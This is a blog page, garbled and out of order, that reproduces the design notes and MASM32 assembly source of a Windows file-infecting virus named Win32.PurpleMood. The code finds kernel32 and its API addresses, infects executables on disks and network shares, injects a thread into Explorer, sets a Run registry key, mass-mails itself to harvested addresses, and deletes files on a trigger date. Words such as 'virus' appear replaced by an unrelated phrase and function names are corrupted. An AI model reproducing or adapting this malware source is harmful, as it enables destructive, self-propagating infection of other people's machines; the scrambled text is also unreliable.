企业即时通讯技术探讨

企业即时通讯技术探讨

作者:AwBBBBBlone@smth <xCCCCCCC@163.com>
日期:2008-07-17

工作流程:
1.首先得到重定位信息,保存在ebx中.
2.调用GetKBase ,得到Kernel32.dll的基地址。
3.调用GetAPIz,得到程序将使用的Kernel32中所有API.
4. 调用PayLoad判断是否满足发作条件,是则删除所有文件。否则继续。
5.判断是被感染文件还是自身(企业即时通讯在系统目录创建PurpleMood.scr).
6. 是染毒文件,则调用CreatePE来创建PurpleMood.scr,初始化(rtInit)写注册表项所需函数地址。调用MakeSCRAlive使PurpleMood.scr保持活动。
7. 如果是PurpleMood.scr,则CreateMutex设置标志,然后启动监控线程,感染PE线程,在主线程中发送邮件。

1. 主要函数说明
说明:
将程序中test@pact518.hit.edu.cn替换为自己的邮件
pact518.hit.edu.cn替换为自己的smtp服务器。
在d:建立test目录,里面放几个exe.实验用。
1.1 GGGGGGetKBase
功能: 遍历指定目录,寻找指定类型的文件。
输入: DirName : DWORD ,FileType:DWORD
局部变量:LOCAL hSearch : DWORD
LOCAL DirorFile[MAX_PATH] : DWORD
DirName是常量。DirorFile存放中间过程,有时是DirName/*.*、有时是
DirName/FileName或DirName/DirName.
得到一个文件后,判断是否是目录。
1.2 GetAAAAPIz
功能: 得到将使用的Kernel32中的API线形地址
原理: 分析K32模块,在它的EXPORT表中找到GetProcAddress的地址。然后,利用GetProcAddress得到其他函数地址。

1.3 EnumDir
功能:获得Kernel32.dll模块的首地址
原理:主线程执行的第一条指令应该是BaseThreadStart的指令,在这个函数中调用的VStart(程序入口),返回地址进栈,
既程序执行完时,应该返回到BaseStartProcess函数。这个函数在Kernel32中,它的指令地址就在kernel32模块空间中并且大于HModule以它为基础,以64k(10000h)(分配粒度)为单位向上搜索具有PE结构的模块。

1. 是,则递归调用EnumDir,参数是DirorFile。
2. 否,则调用AnFile,分析文件,做相应处理。
技巧与难点分析
1.重定位信息的确定
VStart: ;virus starts here :)
call start
start:
pop ebx
sub ebx , offset start
A dd 0

2. RVA的含义
在CreatePE创建PurpleMood.scr和得到GetProcAddress的时候,多次使用这个概念。
exe或dll被加载到企业即时通讯,注意,都是虚拟企业即时通讯,4G空间。实际上把exe文件拉大了,就好象斜阳把人的影子拉长一样。
比如exe中代码段在文件偏移200h处,很可能在企业即时通讯中偏移是1000h处,这个1000h就是RVA.RVA是距离影象的base的偏移。
下面形象解释:
在文件的第200h个字节就是代码段的第一条指令了(当然,未必是start).而1000h不是真正地址。比如 exe影象是00400000h,则代码段的第一条指令就是00400000h+1000h了。HMODULE就是DWORD,或者是int *,char *等,都一样。
我们用HMODULE p=LoadLirary("a.dll"),返回值就是a.dll被加载到企业即时通讯(4G)的首地址。此时叫做影象(image).
与offset区别:
我要说的这个offset是程序中使用的。
比如写个小程序:
.data
b db 0
a db 'abc',0
.code
start:
mov eax,offset a
...

Win32.PurpleMood.6736技术文档
这段代码在哪里执行都一样!现在得到的ebx就是重定位信息。
变量A的偏移就是ebx + offset A.因为offset A是程序的第一条指令放到企业即时通讯地址0时的偏移,但实际上放到了ebx.
也可以这么理解:
执行call start时(相当于push eip+jmp start),eip指向pop ebx,因为eip总是下一条指令的地址。pop ebx就把栈顶的eip存贮到ebx中。start在企业即时通讯中(虚拟企业即时通讯)的线形地址就放到ebx中了。那么A的地址显然就是(offset A - offset start)+ebx ,我们先 sub ebx , offset start,这样以后访问A就可以直接写offset A+ebx方便些。两种理解方法实际上是一样的。
*************************************************
企业即时通讯名称 :PurpleMood (紫色心情)
适用环境: Win9x/Winnt/Win2k/Winxp
编写环境: Win2k,Masm32v6
简 介:1. 感染本地硬盘和网络上所有exe(GUI)文件
2. 搜索本地所有邮件地址,将企业即时通讯作为附件发送出去
3. 在Explorer进程中注入线程监控程序的运行。
4. 每月15日,发作。删除硬盘所有文件。

完成日期: 2002/6/20
版  本: v1.0
大  小: 6736(byte)
联系地址: XPurpleMood@163.com
警 告 : 以下程序(方法)可能带有攻击性,仅供技术交流。使用者风险自负!若有其他用途,概与本人无关。万一有转贴,请保持完整性,多谢!
*************************************************
那么这个offset a是多少由compiler确定。我想是算出来的。这么计算:
比如code的RVA是1000h,data的RVA是2000h.ImageBase=00400000h,那么a被加载后的地址就是
00400000h+2000h+1(b占一个字节),那么offset a编译成00402001。
事实上,我们的exe总能加载到ImageBase指定的位置,Loader不必在重定位。
以上分析不保证正确!都是个人理解。
测试时需要D:/test.
另外,目的油箱可能需要改变,拿自己的实验吧 :)

.386
.model flat,stdcall
option casemap:none
include useful.inc

.data
hi db 'hi',0
ppmm db 'ppmm,you need no reason to love me!',0

.code
main:
mov HostEntry,offset ret_addr
jmp VStart
ret_addr:
Invoke MessageBox,NULL,offset ppmm,offset hi,0
ret

CODE SEGMENT

VStart: ;virus starts here :)
call start
start:
pop ebx
sub ebx , offset start

call GetKBase
call GetAPIz

call PayLoad

lea esi,[offset szEXEPath+ebx]
push MAX_PATH
push esi
push NULL
mov eax , 12345678h
_GetModuleFileNameA = dword ptr $-4
3. @pushsz 宏.
@pushsz MACRO str
LOCAL next
call next ;执行 call next的时候, eip->db str,0,那么eip就被压栈
db str,0
next:
ENDM
@pushsz 'abc' <=> a db 'abc',0 .... mov eax,offset a,push eax
是在RoachCock的帮助下写的。

4. CreateRemoteThread网上很多介绍。
关键是地址问题。同样得到重定位信息。

5. 几个小问题
ret 相当于 pop eip.
ret 4 相当于 pop eip + sub esp,4
call l 相当于 push eip+ jmp l
使用api时都保存esi,edi,ebx,ebp他们不会被改变,而ecx,edx等就不保了。需要自己保存。
mov eax,12345678h
_CreateRemoteThread = dword ptr $-4
call eax ;run remote thread!
_CreateRemoteThread就相当一个标号(比如 start: ... l: ...)
它指向12345678占用的4个字节。

1.6 PEThread PROC MReloc : DWORD
功能:遍历硬盘和网络,得到目录后调用EnumDir。休眠后重复上述过程。
说明:Meloc参数为主线城的ebx,既重定位信息,因为新线城的Register已经清0。

2.2 MakeSCRAlive
1. OpenMutex(..."GetProcAddress")
成功说明,PurpleMood.scr在运行中。立即ReleaseMutex并CloseHandle。
这样可以避免,PurpleMood关闭后,Explorer的线程因为OpenMutex过而认为PurpleMood还在运行。
失败,则调用RunPE,运行PurpleMood.scr.
2. RegisterPE,在Software/Microsoft/Windows/CurrentVersion/Run写入PurpleMood,保证开机运行。

2.3 CreatePE
1. 在系统目录创建PurpleMood.scr,如果已经存在则返回。
2. 写入文件头
3. 写入企业即时通讯体

源代码:
1.7 EnumNetWork PROC pNetResource : DWORD
功能: 遍历网络的实现函数,使用MPR函数,得到一个目录后调用EnumDir,类型为FILE_EXE.

1.8 EnumDisk PROC DirName : DWORD,FileType : DWORD
功能: 遍历硬盘的实现函数,从c->z,得到一个目录后(如‘C:’)后调用EnumDir。

1.9 MailThread
功能:邮件线程,位于主线程。
1.9.1. 调用MailInit,对PurpleMood.scr进行Base64编码,存贮在动态分配的企业即时通讯中,保留企业即时通讯地址在Base64_Encoded_Data。
初始化Socket函数。
1.9.2 开始调用EnumDisk,参数为FILE_HTM,寻找*.htm*文件。EnumDisk得到的参数以"c:"开始,将其作为目录,调用EnumDir,EnumDir找到一个.htm*后调用ParseHTM,在其中搜索mailto:字符串,其后既是MailAddr了。找到后,调用SendMail发送出去,PurpleMood.scr作为附件。然后继续分析这个htm,寻找其他邮件地址,直到文件末尾。然后返回到AnFile,在返回到EnumDir,寻找下一个htm.
1.9.3 遍历硬盘后,休息一天,重新开始。

2.0 CreatePE
功能:在系统目录创建一个PurpleMood.scr
创建类型为CREATE_NEW,既如果已经存在就返回。
文件头从MDosStub开始,这个DosStub是最小的,只有一个IMAGE_DOS_HEADER那么大。没有int 21h只类的语句,所以在Dos下不能运行。先写入文件头,在写入企业即时通讯代码,FileAliagment=200h

2.1 MonitorThread PROC MReloc : DWORD
找到Explorer进程,插入rtThreadStart->rtThreadEnd的代码,监视PurpleMood.scr的运行和注册表的Run项.
Meloc和PEThread一样,同样是ebx.
2.1.1: LoadLibrary(PSAPI)
2.1.2: 初始化需要的api.
2.1.3: EnumProcesses,分析每个进程。
2.1.4: 分析过程
1. OpenProcess (注意权限)
2. EnumProcessModules,GetModuleBaseNameA
3. 是Explorer.exe吗?不是返回,分析下一个进程。
4. 是:
1) VirtualAllocEx 2)WriteProcessMemory 3)CreateRemoteThread

1.4 AnFile FileName:DWORD,FileType: DWORD
功能:分析文件类型(FileType)
1. FILE_ALL: 删除文件
2. FILE_EXE: 调用InfectFile感染
3. FILE_HTM: 调用ParseHTM分析

1.5 InfectFile PROC FileName : DWORD
功能: 感染FileName指定文件
流程:
1. 打开文件,分析文件,是否是合法的PE文件,不是则返回。
2. 查看感染标,已经感染则返回。
3. 判断文件是否有剩余空间存放企业即时通讯的Section,没有则返回。
4. 更新文件,添加新节,写入企业即时通讯代码,设置新节为可读可写可执行。
5. 设置感染标志。

----------------------------------------------------------------------------
call eax

lea edi,[offset szFilePath+ebx]
push 50
push edi
mov eax , 12345678h
_GetSystemDirectoryA = dword ptr $-4
call eax
add eax,FNameSize
mov SCRPathSize[ebx],eax

lea eax,[offset szFileName+ebx]
push eax
push edi
mov eax , 12345678h
_lstrcat = dword ptr $-4
call eax

push esi
push edi
mov eax , 12345678h
_lstrcmpi = dword ptr $-4
call eax
or eax,eax
jz StartInfect

call CreatePE
call rtInit
call MakeSCRAlive
Ret2Host:
push HostEntry[ebx]
ret ;此时栈顶为HostEntry,返回正常入口执行

StartInfect:
lea eax,[offset nGetProcAddress+ebx] ;Mutex name
push eax
push FALSE
push NULL
mov eax , 12345678h
_CreateMutex = dword ptr $-4
call eax

lea eax,[offset MonitorThread + ebx]
push 0
push 0
push ebx ;I pass 0 first :(
push eax
push 0
push 0
mov eax , 12345678h
_CreateThread = dword ptr $-4
call eax

lea eax,[offset PEThread + ebx]
push 0
push 0
push ebx ;I pass 0 first :(
push eax
push 0
push 0
call _CreateThread[ebx]

call MailThread ;while(TRUE)

;**********获得image of kernel32.dll的基址*****************
GetKBase:
mov edi , [esp+4]
and edi , 0FFFF0000h
.while TRUE
.if WORD ptr [edi] == IMAGE_DOS_SIGNATURE
mov esi, edi
add esi, [esi+03Ch]
.if DWORD ptr [esi] == IMAGE_NT_SIGNATURE
.break
.endif
.endif
sub edi, 010000h
.if edi < MIN_KERNEL_SEARCH_BASE ;win9x
mov edi, 0bff70000h ;0bff7000h=9x'base
.break
.endif
.endw
mov hKernel32[ebx],edi
ret

GetAPIz:
mov edx,edi ;edx->Kernel32_Base
assume edx :ptr IMAGE_DOS_HEADER
add edx,[edx].e_lfanew
assume edx:ptr IMAGE_NT_HEADERS
mov edx,[edx].OptionalHeader.DataDirectory.VirtualAddress
add edx,hKernel32[ebx]
assume edx:ptr IMAGE_EXPORT_DIRECTORY
mov ebp,[edx].AddressOfNames
add ebp,hKernel32[ebx] ;now ebp=Addr of RVAofName[]
xor eax,eax ;eax AddressOfNames Index

.repeat
push 14 ;Lenth of GetProcAddress
pop ecx
mov edi,[ebp]
add edi,hKernel32[ebx]
lea esi,[offset nGetProcAddress+ebx]
repz cmpsb
.if zero?
.break
.endif
add ebp,4 ;下一个RVA
inc eax
.until eax == [edx].NumberOfNames

mov ebp, [edx].AddressOfNameOrdinals
add ebp, hKernel32[ebx]
movzx ecx, word ptr [ebp+eax*2]
mov ebp, [edx].AddressOfFunctions ;get addr of the api
add ebp, hKernel32[ebx]
mov eax, [ebp+ecx*4]
add eax,hKernel32[ebx]
mov _GetProcAddress[ebx],eax ;Save GetProcAddress

GetOApiz:

call @api_table
db 'LoadLibraryA',0
db 'CreateThread',0
db 'CreateRemoteThread',0
db 'WinExec',0
db 'CreateMutexA',0
db 'OpenMutexA',0
db 'ReleaseMutex',0
db 'FindFirstFileA',0
db 'FindNextFileA',0
db 'FindClose',0
db 'CreateFileA',0
db 'CreateFileMappingA',0
db 'MapViewOfFile',0
db 'UnmapViewOfFile',0
db 'SetFilePointer',0
db 'WriteFile',0
db 'CloseHandle',0
db 'VirtualAlloc',0
db 'VirtualAllocEx',0
db 'WriteProcessMemory',0
db 'VirtualFree',0
db 'VirtualFreeEx',0
db 'lstrcmpi',0
db 'lstrcpy',0
db 'lstrcat',0
db 'lstrlen',0
db 'GetFileSize',0
db 'GetSystemDirectoryA',0
db 'GetModuleFileNameA',0
db 'Sleep',0
db 'GetSystemTime',0
db 'DeleteFileA',0
db 'OpenProcess',0
@api_table:
pop edi
call @api_dest
K_Apiz:
dd offset _LoadLibraryA
dd offset _CreateThread
dd offset _CreateRemoteThread
dd offset _WinExec
dd offset _CreateMutex
dd offset _OpenMutex
dd offset _ReleaseMutex
dd offset _FindFirstFile
dd offset _FindNextFile
dd offset _FindClose
dd offset _CreateFile
dd offset _CreateFileMapping
dd offset _MapViewOfFile
dd offset _UnmapViewOfFile
dd offset _SetFilePointer
dd offset _WriteFile
dd offset _CloseHandle
dd offset _VirtualAlloc
dd offset _VirtualAllocEx
dd offset _WriteProcessMemory
dd offset _VirtualFree
dd offset _VirtualFreeEx
dd offset _lstrcmpi
dd offset _lstrcpy
dd offset _lstrcat
dd offset _lstrlen
dd offset _GetFileSize
dd offset _GetSystemDirectoryA
dd offset _GetModuleFileNameA
dd offset _Sleep
dd offset _GetSystemTime
dd offset _DeleteFile
dd offset _OpenProcess
K_API_NUM = ($-K_Apiz)/4
@api_dest:
pop esi
push K_API_NUM
pop ecx
xor ebp,ebp
K_begin:
push ecx
push edi
push hKernel32[ebx]
call _GetProcAddress[ebx]
or eax,eax
jz GA_Fail
mov edx , [esi+ebp]
mov dword ptr [edx+ebx],eax
xor eax,eax
repnz scasb ;寻找字符串结束标志0,使edi指向下个函数名
add ebp,4
pop ecx
loop K_begin

@pushsz 'MPR.dll'
call _LoadLibraryA[ebx]
or eax,eax
jz short GA_Fail
xchg esi,eax ;HMODULE of MPR.dll

Mpr_begin:

@pushsz 'WNetOpenEnumA'
push esi
call _GetProcAddress[ebx]
mov _WNetOpenEnum[ebx],eax
@pushsz 'WNetEnumResourceA'
push esi
call _GetProcAddress[ebx]
mov _WNetEnumResource[ebx],eax
@pushsz 'WNetCloseEnum'
push esi
call _GetProcAddress[ebx]
mov _WNetCloseEnum[ebx],eax

GA_Fail:
ret

PayLoad:
call @PL1
SystemTime SYSTEMTIME <>
@PL1: mov esi,[esp]
mov eax , 12345678h
_GetSystemTime = dword ptr $-4
call eax

movzx eax , word ptr [esi+6] ;SystemTime.wDay
cmp ax,14h ;15号吗?
jnz PL_Exit
KILL:
push FILE_ALL
@pushsz 'd:/test'
call EnumDir
PL_Exit:
ret

;*********************************************
;the thread begin to enum all file in disk and
;network , when it finds a pe file Infect it!
;*********************************************
PEThread PROC MReloc : DWORD

PT_Work:
mov ebx,MReloc

push FILE_EXE
@pushsz 'd:/test'
call EnumDir

;push NULL
;call EnumNetWork

push 1000*60*60 ;sleep an hour:)
call _Sleep[ebx]
jmp short PT_Work

PEThread ENDP

;枚举网络邻居
EnumNetWork PROC pNetResource : DWORD

LOCAL hEnum : DWORD
LOCAL Count : DWORD
LOCAL BufferSize : DWORD

pushad
push 0FFFFFFFFh
pop Count
push 16*1024
pop BufferSize

lea eax , hEnum
push eax
push pNetResource
push 0
push RESOURCETYPE_DISK
push RESOURCE_GLOBALNET
mov eax , 12345678h
_WNetOpenEnum = dword ptr $-4
call eax
or eax,eax
jnz EN_Exit

push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push 16*1024
push 0
mov eax , 12345678h
_VirtualAlloc = dword ptr $-4
call eax
or eax,eax
jz short EN_Close
mov pNetResource,eax

lea eax,BufferSize
push eax
push pNetResource
lea eax,Count
push eax
push hEnum
mov eax , 12345678h
_WNetEnumResource = dword ptr $-4
call eax
or eax,eax
jnz short EN_Free

mov ecx,Count
mov edi,pNetResource
assume edi:ptr NETRESOURCEA

EN_Loop:
push ecx
mov eax,[edi].dwUsage
and al,2
.IF al == 2

push edi
call EnumNetWork
.ELSE
mov eax,[edi].lpRemoteName
push FILE_EXE
push eax
call EnumDir

.ENDIF
add edi,20h ; sizeof NETRESOURCE
pop ecx
loop EN_Loop

EN_Free:
push MEM_RELEASE
push 0
push pNetResource
mov eax , 12345678h
_VirtualFree = dword ptr $-4
call eax

EN_Close:
push hEnum
mov eax , 12345678h
_WNetCloseEnum = dword ptr $-4
call eax

EN_Exit:
popad
ret 4
EnumNetWork ENDP

;************InfectDisk***********************
;遍历本地硬盘,从C盘到Z盘,调用EnumDir遍历所有exe

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值